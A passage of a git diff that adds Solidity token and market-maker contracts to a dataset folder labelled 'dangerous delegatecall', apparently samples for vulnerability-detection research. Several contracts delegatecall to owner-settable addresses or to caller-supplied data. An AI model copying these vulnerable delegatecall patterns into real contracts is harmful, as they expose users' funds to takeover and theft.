DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/22943.sol b/smart_contract_dataset/dangerous delegatecall/22943.sol new file mode 100644 index 0000000000000000000000000000000000000000..62ae12b82090ebc73804a9faed8d9fac92f367c7 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/22943.sol @@ -0,0 +1,228 @@ +pragma solidity ^ ^0.4.2; + +library SafeMath { + function mul(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal constant returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal constant returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract owned { + address public owner; + + function owned() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newAdmin) onlyOwner public { + owner = newAdmin; + } +} + +contract tokenRecipient { + function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; +} + +contract token { + + string public name; + string public symbol; + uint8 public decimals; + uint256 public totalSupply; + + + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + + event Transfer(address indexed from, address indexed to, uint256 value); + + + event Burn(address indexed from, uint256 value); + + function token(uint256 initialSupply, string tokenName, uint8 decimalCount, string tokenSymbol) public { + decimals = decimalCount; + totalSupply = initialSupply * 10 ** uint256(decimals); + balanceOf[msg.sender] = totalSupply; + name = tokenName; + symbol = tokenSymbol; + } + + + function transfer(address _to, uint256 _value) { + if (balanceOf[msg.sender] < _value) throw; + if (balanceOf[_to] + _value < balanceOf[_to]) throw; + balanceOf[msg.sender] -= _value; + balanceOf[_to] += _value; + Transfer(msg.sender, _to, _value); + } + + + function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { + if (balanceOf[_from] < _value) throw; + if (balanceOf[_to] + _value < balanceOf[_to]) throw; + if (_value > allowance[_from][msg.sender]) throw; + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + allowance[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public + returns(bool success) { + allowance[msg.sender][_spender] = _value; + return true; + } + + + function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool success) { + tokenRecipient spender = tokenRecipient(_spender); + if (approve(_spender, _value)) { + spender.receiveApproval(msg.sender, _value, this, _extraData); + return true; + } + } + + + function burn(uint256 _value) public returns(bool success) { + require(balanceOf[msg.sender] >= _value); + balanceOf[msg.sender] -= _value; + totalSupply -= _value; + Burn(msg.sender, _value); + return true; + } + + + function burnFrom(address _from, uint256 _value) public returns(bool success) { + require(balanceOf[_from] >= _value); + require(_value <= allowance[_from][msg.sender]); + balanceOf[_from] -= _value; + allowance[_from][msg.sender] -= _value; + totalSupply -= _value; + Burn(_from, _value); + return true; + } +} + +contract OldToken { + function totalSupply() constant returns (uint256 supply) {} + function balanceOf(address _owner) constant returns (uint256 balance) {} + function transfer(address _to, uint256 _value) returns (bool success) {} + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} + function approve(address _spender, uint256 _value) returns (bool success) {} + function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + uint public decimals; + string public name; +} + +contract Ohni is owned, token { + OldToken ohniOld = OldToken(0x7f2176ceb16dcb648dc924eff617c3dc2befd30d); + using SafeMath for uint256; + uint256 public sellPrice; + uint256 public buyPrice; + bool public deprecated; + address public currentVersion; + mapping(address => bool) public frozenAccount; + + + event FrozenFunds(address target, bool frozen); + event ChangedTokens(address changedTarget, uint256 amountToChanged); + + function Ohni(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) token(initialSupply, tokenName, decimalUnits, tokenSymbol) {} + + function update(address newAddress, bool depr) onlyOwner { + if (msg.sender != owner) throw; + currentVersion = newAddress; + deprecated = depr; + } + + function checkForUpdates() internal { + if (deprecated) { + if (!currentVersion.delegatecall(msg.data)) throw; + } + } + + function withdrawETH(uint256 amount) onlyOwner { + msg.sender.send(amount); + } + + function airdrop(address[] recipients, uint256 value) onlyOwner { + for (uint256 i = 0; i < recipients.length; i++) { + transfer(recipients[i], value); + } + } + + function merge() public { + checkForUpdates(); + uint256 amountChanged = ohniOld.allowance(msg.sender, this); + require(amountChanged > 0); + require(amountChanged < 100000000); + require(ohniOld.balanceOf(msg.sender) < 100000000); + require(msg.sender != address(0xa36e7c76da888237a3fb8a035d971ae179b45fad)); + if (!ohniOld.transferFrom(msg.sender, owner, amountChanged)) throw; + amountChanged = (amountChanged * 10 ** uint256(decimals)) / 10; + balanceOf[owner] = balanceOf[address(owner)].sub(amountChanged); + balanceOf[msg.sender] = balanceOf[msg.sender].add(amountChanged); + Transfer(address(owner), msg.sender, amountChanged); + ChangedTokens(msg.sender,amountChanged); + } + + function multiMerge(address[] recipients) onlyOwner { + checkForUpdates(); + for (uint256 i = 0; i < recipients.length; i++) { + uint256 amountChanged = ohniOld.allowance(msg.sender, owner); + require(amountChanged > 0); + require(amountChanged < 100000000); + require(ohniOld.balanceOf(msg.sender) < 100000000); + require(msg.sender != address(0xa36e7c76da888237a3fb8a035d971ae179b45fad)); + balanceOf[owner] = balanceOf[address(owner)].sub(amountChanged); + balanceOf[msg.sender] = balanceOf[msg.sender].add(amountChanged); + Transfer(address(owner), msg.sender, amountChanged); + } + } + + function mintToken(address target, uint256 mintedAmount) onlyOwner { + checkForUpdates(); + balanceOf[target] += mintedAmount; + totalSupply += mintedAmount; + Transfer(0, this, mintedAmount); + Transfer(this, target, mintedAmount); + } + + function freezeAccount(address target, bool freeze) onlyOwner { + checkForUpdates(); + frozenAccount[target] = freeze; + FrozenFunds(target, freeze); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/23604.sol b/smart_contract_dataset/dangerous delegatecall/23604.sol new file mode 100644 index 0000000000000000000000000000000000000000..88b111a8ce5091f4551871cb5d5e044a96d0e8fb --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/23604.sol @@ -0,0 +1,229 @@ +pragma solidity ^ 0.4 .2; +contract owned { + address public owner; + + function owned() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newAdmin) onlyOwner public { + owner = newAdmin; + } +} + +contract tokenRecipient { + function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; +} + +contract token { + + string public name; + string public symbol; + uint8 public decimals = 18; + uint256 public totalSupply; + + + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + + event Transfer(address indexed from, address indexed to, uint256 value); + + + event Burn(address indexed from, uint256 value); + + function token( + uint256 initialSupply, + string tokenName, + string tokenSymbol + ) public { + totalSupply = initialSupply * 10 ** uint256(decimals); + balanceOf[msg.sender] = totalSupply; + name = tokenName; + symbol = tokenSymbol; + } + + + function transfer(address _to, uint256 _value) { + if (balanceOf[msg.sender] < _value) throw; + if (balanceOf[_to] + _value < balanceOf[_to]) throw; + balanceOf[msg.sender] -= _value; + balanceOf[_to] += _value; + Transfer(msg.sender, _to, _value); + } + + + function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { + if (balanceOf[_from] < _value) throw; + if (balanceOf[_to] + _value < balanceOf[_to]) throw; + if (_value > allowance[_from][msg.sender]) throw; + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + allowance[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public + returns(bool success) { + allowance[msg.sender][_spender] = _value; + return true; + } + + + function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool success) { + tokenRecipient spender = tokenRecipient(_spender); + if (approve(_spender, _value)) { + spender.receiveApproval(msg.sender, _value, this, _extraData); + return true; + } + } + + + function burn(uint256 _value) public returns(bool success) { + require(balanceOf[msg.sender] >= _value); + balanceOf[msg.sender] -= _value; + totalSupply -= _value; + Burn(msg.sender, _value); + return true; + } + + + function burnFrom(address _from, uint256 _value) public returns(bool success) { + require(balanceOf[_from] >= _value); + require(_value <= allowance[_from][msg.sender]); + balanceOf[_from] -= _value; + allowance[_from][msg.sender] -= _value; + totalSupply -= _value; + Burn(_from, _value); + return true; + } +} + + +contract Ohni is owned, token { + + uint256 public sellPrice; + uint256 public buyPrice; + bool public deprecated; + address public currentVersion; + mapping(address => bool) public frozenAccount; + + + event FrozenFunds(address target, bool frozen); + + + function Ohni( + uint256 initialSupply, + string tokenName, + uint8 decimalUnits, + string tokenSymbol + ) token(initialSupply, tokenName, tokenSymbol) {} + + function update(address newAddress, bool depr) onlyOwner { + if (msg.sender != owner) throw; + currentVersion = newAddress; + deprecated = depr; + } + + function checkForUpdates() private { + if (deprecated) { + if (!currentVersion.delegatecall(msg.data)) throw; + } + } + + function withdrawETH(uint256 amount) onlyOwner { + msg.sender.send(amount); + } + + function airdrop(address[] recipients, uint256 value) public onlyOwner { + for (uint256 i = 0; i < recipients.length; i++) { + transfer(recipients[i], value); + } + } + + + function transfer(address _to, uint256 _value) { + checkForUpdates(); + if (balanceOf[msg.sender] < _value) throw; + if (balanceOf[_to] + _value < balanceOf[_to]) throw; + if (frozenAccount[msg.sender]) throw; + balanceOf[msg.sender] -= _value; + balanceOf[_to] += _value; + Transfer(msg.sender, _to, _value); + } + + + + function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { + checkForUpdates(); + if (frozenAccount[_from]) throw; + if (balanceOf[_from] < _value) throw; + if (balanceOf[_to] + _value < balanceOf[_to]) throw; + if (_value > allowance[_from][msg.sender]) throw; + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + allowance[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } + + function merge(address target) onlyOwner { + balanceOf[target] = token(address(0x7F2176cEB16dcb648dc924eff617c3dC2BEfd30d)).balanceOf(target) / 10; + } + + function multiMerge(address[] recipients, uint256[] value) onlyOwner { + for (uint256 i = 0; i < recipients.length; i++) { + merge(recipients[i]); + } + } + + function mintToken(address target, uint256 mintedAmount) onlyOwner { + checkForUpdates(); + balanceOf[target] += mintedAmount; + totalSupply += mintedAmount; + Transfer(0, this, mintedAmount); + Transfer(this, target, mintedAmount); + } + + function freezeAccount(address target, bool freeze) onlyOwner { + checkForUpdates(); + frozenAccount[target] = freeze; + FrozenFunds(target, freeze); + } + + function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner { + checkForUpdates(); + sellPrice = newSellPrice; + buyPrice = newBuyPrice; + } + + function buy() payable { + checkForUpdates(); + if (buyPrice == 0) throw; + uint amount = msg.value / buyPrice; + if (balanceOf[this] < amount) throw; + balanceOf[msg.sender] += amount; + balanceOf[this] -= amount; + Transfer(this, msg.sender, amount); + } + + function sell(uint256 amount) { + checkForUpdates(); + if (sellPrice == 0) throw; + if (balanceOf[msg.sender] < amount) throw; + balanceOf[this] += amount; + balanceOf[msg.sender] -= amount; + if (!msg.sender.send(amount * sellPrice)) { + throw; + } else { + Transfer(msg.sender, this, amount); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/25217.sol b/smart_contract_dataset/dangerous delegatecall/25217.sol new file mode 100644 index 0000000000000000000000000000000000000000..4bcb74c68da0271015d292a0fa3993624e016571 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/25217.sol @@ -0,0 +1,663 @@ +pragma solidity ^0.4.18; + + +contract ERC20 { + uint public totalSupply; + function balanceOf(address _owner) constant public returns (uint balance); + function transfer(address _to, uint _value) public returns (bool success); + function transferFrom(address _from, address _to, uint _value) public returns (bool success); + function approve(address _spender, uint _value) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint remaining); + event Transfer(address indexed from, address indexed to, uint value); + event Approval(address indexed owner, address indexed spender, uint value); +} + + + + + + +contract BasicToken is ERC20 { + using SafeMath for uint256; + + uint256 public totalSupply; + mapping (address => mapping (address => uint256)) allowed; + mapping (address => uint256) balances; + + event Approval(address indexed owner, address indexed spender, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); + + + + + function approve(address _spender, uint256 _value) public returns (bool) { + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { + revert(); + } + + allowed[msg.sender][_spender] = _value; + + Approval(msg.sender, _spender, _value); + + return true; + } + + + + + + function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + + + + function balanceOf(address _owner) constant public returns (uint256 balance) { + return balances[_owner]; + } + + + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + + Transfer(msg.sender, _to, _value); + + return true; + } + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + var _allowance = allowed[_from][msg.sender]; + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + + allowed[_from][msg.sender] = _allowance.sub(_value); + + Transfer(_from, _to, _value); + + return true; + } +} + + + + + +contract ERC677 is ERC20 { + function transferAndCall(address to, uint value, bytes data) public returns (bool ok); + + event TransferAndCall(address indexed from, address indexed to, uint value, bytes data); +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + require(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + require(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a); + return c; + } + + function max64(uint64 a, uint64 b) internal pure returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal pure returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal pure returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal pure returns (uint256) { + return a < b ? a : b; + } + + function toPower2(uint256 a) internal pure returns (uint256) { + return mul(a, a); + } + + function sqrt(uint256 a) internal pure returns (uint256) { + uint256 c = (a + 1) / 2; + uint256 b = a; + while (c < b) { + b = c; + c = (a / c + c) / 2; + } + return b; + } +} + + + + + + + +contract Standard677Token is ERC677, BasicToken { + + + + + + function transferAndCall(address _to, uint _value, bytes _data) public returns (bool) { + require(super.transfer(_to, _value)); + TransferAndCall(msg.sender, _to, _value, _data); + + if (isContract(_to)) return contractFallback(_to, _value, _data); + return true; + } + + + + + + function contractFallback(address _to, uint _value, bytes _data) private returns (bool) { + ERC223Receiver receiver = ERC223Receiver(_to); + require(receiver.tokenFallback(msg.sender, _value, _data)); + return true; + } + + + + + function isContract(address _addr) private constant returns (bool is_contract) { + + uint length; + assembly { length := extcodesize(_addr) } + return length > 0; + } +} + + + + + + + +contract Ownable { + address public owner; + address public newOwnerCandidate; + + event OwnershipRequested(address indexed _by, address indexed _to); + event OwnershipTransferred(address indexed _from, address indexed _to); + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + modifier onlyOwnerCandidate() { + require(msg.sender == newOwnerCandidate); + _; + } + + + + function requestOwnershipTransfer(address _newOwnerCandidate) external onlyOwner { + require(_newOwnerCandidate != address(0)); + + newOwnerCandidate = _newOwnerCandidate; + + OwnershipRequested(msg.sender, newOwnerCandidate); + } + + + function acceptOwnership() external onlyOwnerCandidate { + address previousOwner = owner; + + owner = newOwnerCandidate; + newOwnerCandidate = address(0); + + OwnershipTransferred(previousOwner, owner); + } +} + + + + + +contract TokenHolder is Ownable { + + + + function transferAnyERC20Token(address _tokenAddress, uint256 _amount) public onlyOwner returns (bool success) { + return ERC20(_tokenAddress).transfer(owner, _amount); + } +} + + + + + + + + +contract ColuLocalCurrency is Ownable, Standard677Token, TokenHolder { + using SafeMath for uint256; + string public name; + string public symbol; + uint8 public decimals; + + + + + + + function ColuLocalCurrency(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { + require(_totalSupply != 0); + require(bytes(_name).length != 0); + require(bytes(_symbol).length != 0); + + totalSupply = _totalSupply; + name = _name; + symbol = _symbol; + decimals = _decimals; + balances[msg.sender] = totalSupply; + } +} + + + +contract ERC223Receiver { + function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok); +} + + + + + +contract Standard223Receiver is ERC223Receiver { + Tkn tkn; + + struct Tkn { + address addr; + address sender; + uint256 value; + } + + bool __isTokenFallback; + + modifier tokenPayable { + require(__isTokenFallback); + _; + } + + + + + + function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok) { + if (!supportsToken(msg.sender)) { + return false; + } + + + + tkn = Tkn(msg.sender, _sender, _value); + __isTokenFallback = true; + if (!address(this).delegatecall(_data)) { + __isTokenFallback = false; + return false; + } + + + __isTokenFallback = false; + + return true; + } + + function supportsToken(address token) public constant returns (bool); +} + + + + + + + + +contract TokenOwnable is Standard223Receiver, Ownable { + + modifier onlyTokenOwner() { + require(tkn.sender == owner); + _; + } +} + + + + + +contract MarketMaker is ERC223Receiver { + + function getCurrentPrice() public constant returns (uint _price); + function change(address _fromToken, uint _amount, address _toToken) public returns (uint _returnAmount); + function change(address _fromToken, uint _amount, address _toToken, uint _minReturn) public returns (uint _returnAmount); + function change(address _toToken) public returns (uint _returnAmount); + function change(address _toToken, uint _minReturn) public returns (uint _returnAmount); + function quote(address _fromToken, uint _amount, address _toToken) public constant returns (uint _returnAmount); + function openForPublicTrade() public returns (bool success); + function isOpenForPublic() public returns (bool success); + + event Change(address indexed fromToken, uint inAmount, address indexed toToken, uint returnAmount, address indexed account); +} + + + + + + + + +contract EllipseMarketMaker is TokenOwnable { + + + uint256 public constant PRECISION = 10 ** 18; + + + ERC20 public token1; + ERC20 public token2; + + + uint256 public R1; + uint256 public R2; + + + uint256 public S1; + uint256 public S2; + + + bool public operational; + bool public openForPublic; + + + address public mmLib; + + + function EllipseMarketMaker(address _mmLib, address _token1, address _token2) public { + require(_mmLib != address(0)); + + + bytes4 sig = 0x6dd23b5b; + + + uint256 argsSize = 3 * 32; + + uint256 dataSize = 4 + argsSize; + + + bytes memory m_data = new bytes(dataSize); + + assembly { + + mstore(add(m_data, 0x20), sig) + + mstore(add(m_data, 0x24), _mmLib) + mstore(add(m_data, 0x44), _token1) + mstore(add(m_data, 0x64), _token2) + } + + + require(_mmLib.delegatecall(m_data)); + } + + + + function supportsToken(address token) public constant returns (bool) { + return (token1 == token || token2 == token); + } + + + function() public { + address _mmLib = mmLib; + if (msg.data.length > 0) { + assembly { + calldatacopy(0xff, 0, calldatasize) + let retVal := delegatecall(gas, _mmLib, 0xff, calldatasize, 0, 0x20) + switch retVal case 0 { revert(0,0) } default { return(0, 0x20) } + } + } + } +} + + + + + + + +contract IEllipseMarketMaker is MarketMaker { + + + uint256 public constant PRECISION = 10 ** 18; + + + ERC20 public token1; + ERC20 public token2; + + + uint256 public R1; + uint256 public R2; + + + uint256 public S1; + uint256 public S2; + + + bool public operational; + bool public openForPublic; + + + address public mmLib; + + function supportsToken(address token) public constant returns (bool); + + function calcReserve(uint256 _R1, uint256 _S1, uint256 _S2) public pure returns (uint256); + + function validateReserves() public view returns (bool); + + function withdrawExcessReserves() public returns (uint256); + + function initializeAfterTransfer() public returns (bool); + + function initializeOnTransfer() public returns (bool); + + function getPrice(uint256 _R1, uint256 _R2, uint256 _S1, uint256 _S2) public constant returns (uint256); +} + + + + + + + + + + + +contract CurrencyFactory is Standard223Receiver, TokenHolder { + + struct CurrencyStruct { + string name; + uint8 decimals; + uint256 totalSupply; + address owner; + address mmAddress; + } + + + + mapping (address => CurrencyStruct) public currencyMap; + + address public clnAddress; + + address public mmLibAddress; + + address[] public tokens; + + event MarketOpen(address indexed marketMaker); + event TokenCreated(address indexed token, address indexed owner); + + + modifier tokenIssuerOnly(address token, address owner) { + require(currencyMap[token].owner == owner); + _; + } + + modifier CLNOnly() { + require(msg.sender == clnAddress); + _; + } + + + + + function CurrencyFactory(address _mmLib, address _clnAddress) public { + require(_mmLib != address(0)); + require(_clnAddress != address(0)); + mmLibAddress = _mmLib; + clnAddress = _clnAddress; + } + + + + + + + function createCurrency(string _name, + string _symbol, + uint8 _decimals, + uint256 _totalSupply) public + returns (address) { + + ColuLocalCurrency subToken = new ColuLocalCurrency(_name, _symbol, _decimals, _totalSupply); + EllipseMarketMaker newMarketMaker = new EllipseMarketMaker(mmLibAddress, clnAddress, subToken); + + require(subToken.transfer(newMarketMaker, _totalSupply)); + require(IEllipseMarketMaker(newMarketMaker).initializeAfterTransfer()); + currencyMap[subToken] = CurrencyStruct({ name: _name, decimals: _decimals, totalSupply: _totalSupply, mmAddress: newMarketMaker, owner: msg.sender}); + tokens.push(subToken); + TokenCreated(subToken, msg.sender); + return subToken; + } + + + + + + function insertCLNtoMarketMaker(address _token, + uint256 _clnAmount) public + tokenIssuerOnly(_token, msg.sender) + returns (uint256 _subTokenAmount) { + require(_clnAmount > 0); + address marketMakerAddress = getMarketMakerAddressFromToken(_token); + require(ERC20(clnAddress).transferFrom(msg.sender, this, _clnAmount)); + require(ERC20(clnAddress).approve(marketMakerAddress, _clnAmount)); + _subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, _clnAmount, _token); + require(ERC20(_token).transfer(msg.sender, _subTokenAmount)); + } + + + + + function insertCLNtoMarketMaker(address _token) public + tokenPayable + CLNOnly + tokenIssuerOnly(_token, tkn.sender) + returns (uint256 _subTokenAmount) { + address marketMakerAddress = getMarketMakerAddressFromToken(_token); + require(ERC20(clnAddress).approve(marketMakerAddress, tkn.value)); + _subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, tkn.value, _token); + require(ERC20(_token).transfer(tkn.sender, _subTokenAmount)); + } + + + + + + function extractCLNfromMarketMaker(address _token, + uint256 _ccAmount) public + tokenIssuerOnly(_token, msg.sender) + returns (uint256 _clnTokenAmount) { + address marketMakerAddress = getMarketMakerAddressFromToken(_token); + require(ERC20(_token).transferFrom(msg.sender, this, _ccAmount)); + require(ERC20(_token).approve(marketMakerAddress, _ccAmount)); + _clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(_token, _ccAmount, clnAddress); + require(ERC20(clnAddress).transfer(msg.sender, _clnTokenAmount)); + } + + + + function extractCLNfromMarketMaker() public + tokenPayable + tokenIssuerOnly(msg.sender, tkn.sender) + returns (uint256 _clnTokenAmount) { + address marketMakerAddress = getMarketMakerAddressFromToken(msg.sender); + require(ERC20(msg.sender).approve(marketMakerAddress, tkn.value)); + _clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(msg.sender, tkn.value, clnAddress); + require(ERC20(clnAddress).transfer(tkn.sender, _clnTokenAmount)); + } + + + + + function openMarket(address _token) public + tokenIssuerOnly(_token, msg.sender) + returns (bool) { + address marketMakerAddress = getMarketMakerAddressFromToken(_token); + require(MarketMaker(marketMakerAddress).openForPublicTrade()); + Ownable(marketMakerAddress).requestOwnershipTransfer(msg.sender); + MarketOpen(marketMakerAddress); + return true; + } + + + + function supportsToken(address _token) public constant returns (bool) { + return (clnAddress == _token || currencyMap[_token].totalSupply > 0); + } + + + + function getMarketMakerAddressFromToken(address _token) public constant returns (address _marketMakerAddress) { + _marketMakerAddress = currencyMap[_token].mmAddress; + require(_marketMakerAddress != address(0)); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/25219.sol b/smart_contract_dataset/dangerous delegatecall/25219.sol new file mode 100644 index 0000000000000000000000000000000000000000..6b7868cebcb0433ec52fb37f5794adc64cc47fc0 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/25219.sol @@ -0,0 +1,579 @@ +pragma solidity ^0.4.18; + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + require(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + require(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a); + return c; + } + + function max64(uint64 a, uint64 b) internal pure returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal pure returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal pure returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal pure returns (uint256) { + return a < b ? a : b; + } + + function toPower2(uint256 a) internal pure returns (uint256) { + return mul(a, a); + } + + function sqrt(uint256 a) internal pure returns (uint256) { + uint256 c = (a + 1) / 2; + uint256 b = a; + while (c < b) { + b = c; + c = (a / c + c) / 2; + } + return b; + } +} + + + +contract ERC223Receiver { + function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok); +} + + + + + +contract MarketMaker is ERC223Receiver { + + function getCurrentPrice() public constant returns (uint _price); + function change(address _fromToken, uint _amount, address _toToken) public returns (uint _returnAmount); + function change(address _fromToken, uint _amount, address _toToken, uint _minReturn) public returns (uint _returnAmount); + function change(address _toToken) public returns (uint _returnAmount); + function change(address _toToken, uint _minReturn) public returns (uint _returnAmount); + function quote(address _fromToken, uint _amount, address _toToken) public constant returns (uint _returnAmount); + function openForPublicTrade() public returns (bool success); + function isOpenForPublic() public returns (bool success); + + event Change(address indexed fromToken, uint inAmount, address indexed toToken, uint returnAmount, address indexed account); +} + + + + + + + +contract IEllipseMarketMaker is MarketMaker { + + + uint256 public constant PRECISION = 10 ** 18; + + + ERC20 public token1; + ERC20 public token2; + + + uint256 public R1; + uint256 public R2; + + + uint256 public S1; + uint256 public S2; + + + bool public operational; + bool public openForPublic; + + + address public mmLib; + + function supportsToken(address token) public constant returns (bool); + + function calcReserve(uint256 _R1, uint256 _S1, uint256 _S2) public pure returns (uint256); + + function validateReserves() public view returns (bool); + + function withdrawExcessReserves() public returns (uint256); + + function initializeAfterTransfer() public returns (bool); + + function initializeOnTransfer() public returns (bool); + + function getPrice(uint256 _R1, uint256 _R2, uint256 _S1, uint256 _S2) public constant returns (uint256); +} + + + +contract ERC20 { + uint public totalSupply; + function balanceOf(address _owner) constant public returns (uint balance); + function transfer(address _to, uint _value) public returns (bool success); + function transferFrom(address _from, address _to, uint _value) public returns (bool success); + function approve(address _spender, uint _value) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint remaining); + event Transfer(address indexed from, address indexed to, uint value); + event Approval(address indexed owner, address indexed spender, uint value); +} + + + + + + +contract Ownable { + address public owner; + address public newOwnerCandidate; + + event OwnershipRequested(address indexed _by, address indexed _to); + event OwnershipTransferred(address indexed _from, address indexed _to); + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + modifier onlyOwnerCandidate() { + require(msg.sender == newOwnerCandidate); + _; + } + + + + function requestOwnershipTransfer(address _newOwnerCandidate) external onlyOwner { + require(_newOwnerCandidate != address(0)); + + newOwnerCandidate = _newOwnerCandidate; + + OwnershipRequested(msg.sender, newOwnerCandidate); + } + + + function acceptOwnership() external onlyOwnerCandidate { + address previousOwner = owner; + + owner = newOwnerCandidate; + newOwnerCandidate = address(0); + + OwnershipTransferred(previousOwner, owner); + } +} + + + + + +contract Standard223Receiver is ERC223Receiver { + Tkn tkn; + + struct Tkn { + address addr; + address sender; + uint256 value; + } + + bool __isTokenFallback; + + modifier tokenPayable { + require(__isTokenFallback); + _; + } + + + + + + function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok) { + if (!supportsToken(msg.sender)) { + return false; + } + + + + tkn = Tkn(msg.sender, _sender, _value); + __isTokenFallback = true; + if (!address(this).delegatecall(_data)) { + __isTokenFallback = false; + return false; + } + + + __isTokenFallback = false; + + return true; + } + + function supportsToken(address token) public constant returns (bool); +} + + + + + + + + +contract TokenOwnable is Standard223Receiver, Ownable { + + modifier onlyTokenOwner() { + require(tkn.sender == owner); + _; + } +} + + + + + + + + + + +contract EllipseMarketMakerLib is TokenOwnable, IEllipseMarketMaker { + using SafeMath for uint256; + + + uint256 private l_R1; + uint256 private l_R2; + + modifier notConstructed() { + require(mmLib == address(0)); + _; + } + + + modifier isOperational() { + require(operational); + _; + } + + + modifier notOperational() { + require(!operational); + _; + } + + + modifier canTrade() { + require(openForPublic || msg.sender == owner); + _; + } + + + modifier canTrade223() { + require (openForPublic || tkn.sender == owner); + _; + } + + + + + + function constructor(address _mmLib, address _token1, address _token2) public onlyOwner notConstructed returns (bool) { + require(_mmLib != address(0)); + require(_token1 != address(0)); + require(_token2 != address(0)); + require(_token1 != _token2); + + mmLib = _mmLib; + token1 = ERC20(_token1); + token2 = ERC20(_token2); + R1 = 0; + R2 = 0; + S1 = token1.totalSupply(); + S2 = token2.totalSupply(); + + operational = false; + openForPublic = false; + + return true; + } + + + function openForPublicTrade() public onlyOwner isOperational returns (bool) { + openForPublic = true; + return true; + } + + + function isOpenForPublic() public onlyOwner returns (bool) { + return (openForPublic && operational); + } + + + + function supportsToken(address _token) public constant returns (bool) { + return (token1 == _token || token2 == _token); + } + + + function initializeAfterTransfer() public notOperational onlyOwner returns (bool) { + require(initialize()); + return true; + } + + + function initializeOnTransfer() public notOperational onlyTokenOwner tokenPayable returns (bool) { + require(initialize()); + return true; + } + + + function initialize() private returns (bool success) { + R1 = token1.balanceOf(this); + R2 = token2.balanceOf(this); + + success = ((R1 == 0 && R2 == S2) || (R2 == 0 